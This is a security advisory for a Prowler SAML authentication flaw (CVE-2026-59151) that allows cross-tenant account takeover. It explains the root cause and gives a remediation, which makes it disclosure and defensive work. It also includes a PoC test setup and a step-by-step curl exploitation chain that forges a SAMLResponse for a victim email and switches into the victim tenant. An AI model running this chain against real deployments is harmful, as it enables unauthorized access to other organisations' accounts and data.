prowler-cloud: Improper Authentication (CVE-2026-59151)

SAML Tenant Binding Enables Cross-Tenant Account Takeover

Summary

Prowler's SAML authentication flow trusted the email domain asserted in a SAMLResponse when deciding which tenant should receive the final token. A malicious tenant with its own SAML configuration and a self-controlled IdP could complete a valid SAML flow for its own configured domain, while asserting an email address from another configured domain.

In the vulnerable flow, the ACS finish logic later derived the tenant from the asserted email domain instead of binding token issuance to the tenant associated with the validated SAML configuration. This could cause a token to be issued for the wrong tenant.

The attacker does not generally need to claim the victim's email domain. If the victim tenant already has SAML configured for that domain, another tenant cannot claim it because SAMLConfiguration.email_domain and SAMLDomainIndex.email_domain are globally unique.

Details

The confirmed root cause is in the SAML ACS finish and token issuance flow. The flow selected a SAML configuration through the ACS route, but later recalculated the tenant from the asserted user email domain:

email_domain = user.email.split("@")[-1]
tenant = (
    SAMLConfiguration.objects.using(MainRouter.admin_db)
    .get(email_domain=email_domain)
    .tenant
)

This is unsafe because user.email is derived from the SAML assertion. The tenant used for membership updates and token issuance must come from the SAML configuration validated for the current ACS route, not from the asserted email domain.

The attack is made possible by several compounding weaknesses:

1. No domain ownership proof (api/src/backend/api/models.py:2100, 2130-2152): SAMLConfiguration.email_domain is validated for format and global uniqueness, but not for domain ownership. Any authenticated tenant admin can claim an unclaimed domain string, but cannot claim a domain already configured by another tenant.

2. Global SAML domain index (api/src/backend/api/models.py:2200-2201): SAMLDomainIndex.update_or_create(email_domain=self.email_domain, defaults={'tenant': self.tenant}) maps each configured domain to its tenant. If token issuance later trusts the asserted email domain, it can resolve a tenant different from the one selected by the ACS route.

3. Hardcoded auto-connect (api/src/backend/config/settings/social_login.py:23, 25): SOCIALACCOUNT_EMAIL_AUTHENTICATION = True and SOCIALACCOUNT_EMAIL_AUTHENTICATION_AUTO_CONNECT = True are hardcoded and cannot be disabled at runtime.

4. IdP-initiated SSO enabled (api/src/backend/config/settings/social_login.py:78): reject_idp_initiated_sso: False allows the attacker to initiate the flow without requiring any action from the victim.

5. Token issuance for the wrong tenant (api/src/backend/api/v1/views.py:853-873): after SAML authentication, the vulnerable ACS finish flow could create membership and issue a SAMLToken using a tenant derived from the asserted email domain instead of the validated SAML configuration.

6. Token switch impact (api/src/backend/api/v1/serializers.py:272): the token switch endpoint checks that the authenticated user is a member of the target tenant. If the attacker obtains a JWT for the victim user, they can switch into tenants where that user is already a member.

PoC

Environment setup:

# Build the PoC Docker image (build context = repo root)
docker build -t vuln001-poc -f vuln-001/Dockerfile .

# Start the stack (PostgreSQL + PoC runner)
docker compose -f vuln-001/docker-compose-poc.yml up --no-build --abort-on-container-exit

Automated test (runs inside the container):

python -m pytest poc_vuln001.py -v -s --no-header --tb=short

Manual HTTP exploitation chain (against a live Prowler API):

Step 1 - Attacker configures SAML for their own email domain:

curl -i -X POST "$API/api/v1/saml-config" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" \
  -H "Content-Type: application/vnd.api+json" \
  --data '{
    "data":{"type":"saml-configurations","attributes":{
      "email_domain":"attacker.com",
      "metadata_xml":"<md:EntityDescriptor entityID=\"evil-idp\" xmlns:md=\"urn:oasis:names:tc:SAML:2.0:metadata\">...attacker cert and SSO URL...</md:EntityDescriptor>"
    }}
  }'

The attacker does not need to claim victim.com. If victim.com is already configured by the victim tenant, the attacker cannot claim it because SAML domains are globally unique.

Step 2 - Attacker posts a signed SAMLResponse asserting user@victim.com:

# SIGNED_ASSERTION is a base64-encoded SAMLResponse signed with the attacker's private key,
# valid for the attacker's configured IdP, but asserting NameID = user@victim.com
curl -i -L -c c.jar -b c.jar \
  -X POST "$API/api/v1/accounts/saml/attacker.com/acs/" \
  --data-urlencode "SAMLResponse=$SIGNED_ASSERTION"

Step 3 - Vulnerable ACS finish logic derives the tenant from the asserted email domain:

In the vulnerable version, the finish flow used user.email.split("@")[-1] to resolve the tenant. If the asserted domain mapped to another tenant's SAML configuration, token issuance could be bound to the wrong tenant.

Step 4 - Exchange the SAML token for a victim JWT:

curl -s -X POST "$API/api/v1/tokens/saml?id=$SAML_TOKEN_ID"
# Returns access/refresh JWT if the temporary SAML token is valid and has not expired

Step 5 - Switch into the victim's real tenant:

curl -s -X POST "$API/api/v1/tokens/switch" \
  -H "Authorization: Bearer $VICTIM_JWT" \
  -H "Content-Type: application/vnd.api+json" \
  --data '{
    "data":{
      "type":"tokens-switch-tenant",
      "attributes":{
        "tenant_id":"<victim-real-tenant-uuid>"
      }
    }
  }'
# Returns a valid token scoped to the victim's tenant

Observed output from the automated PoC:

Note: this adapter-focused PoC demonstrates the account-linking behavior, but it does not prove the full token issuance chain by itself. The full exploit depends on the ACS finish flow issuing a token for a tenant derived from the asserted email domain.

[+] Victim user created in DB:
    email = victim@victim.com
    id    = b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
[+] Simulated SAMLResponse posted to ACS endpoint:
    URL:    POST /api/v1/accounts/saml/victim.com/acs/
    NameID: victim@victim.com  (attacker-controlled)
[*] Calling ProwlerSocialAccountAdapter.pre_social_login()
    File: api/src/backend/api/adapters.py:17
[!] sociallogin.connect() was called!
    connected user email: victim@victim.com
    connected user id:    b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
    victim user id:       b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
  - Victim user id in DB:            b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
  - User passed to connect():        b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
  - IDs match (victim's account):   True
  - Domain ownership check skipped: True (no SAMLConfiguration lookup in adapter)
PASSED
======================== 1 passed, 2 warnings in 35.42s ========================

Recommended remediation (api/src/backend/api/v1/views.py):

Bind token issuance to the SAML configuration selected by the ACS route.

The ACS finish flow should verify that the following values all match:

• the organization_slug from the ACS route
• the SAMLConfiguration.email_domain
• the domain portion of the asserted SAML user email

Then issue the token using the tenant from that validated SAML configuration:

tenant = saml_config.tenant

The tenant must not be recalculated from user.email.

Impact

This is an Improper Authentication (CWE-287) vulnerability that enables cross-tenant account takeover. An authenticated Prowler user with a controlled SAML IdP could potentially obtain a token for another tenant if the ACS finish flow derived the tenant from the asserted email domain instead of the validated SAML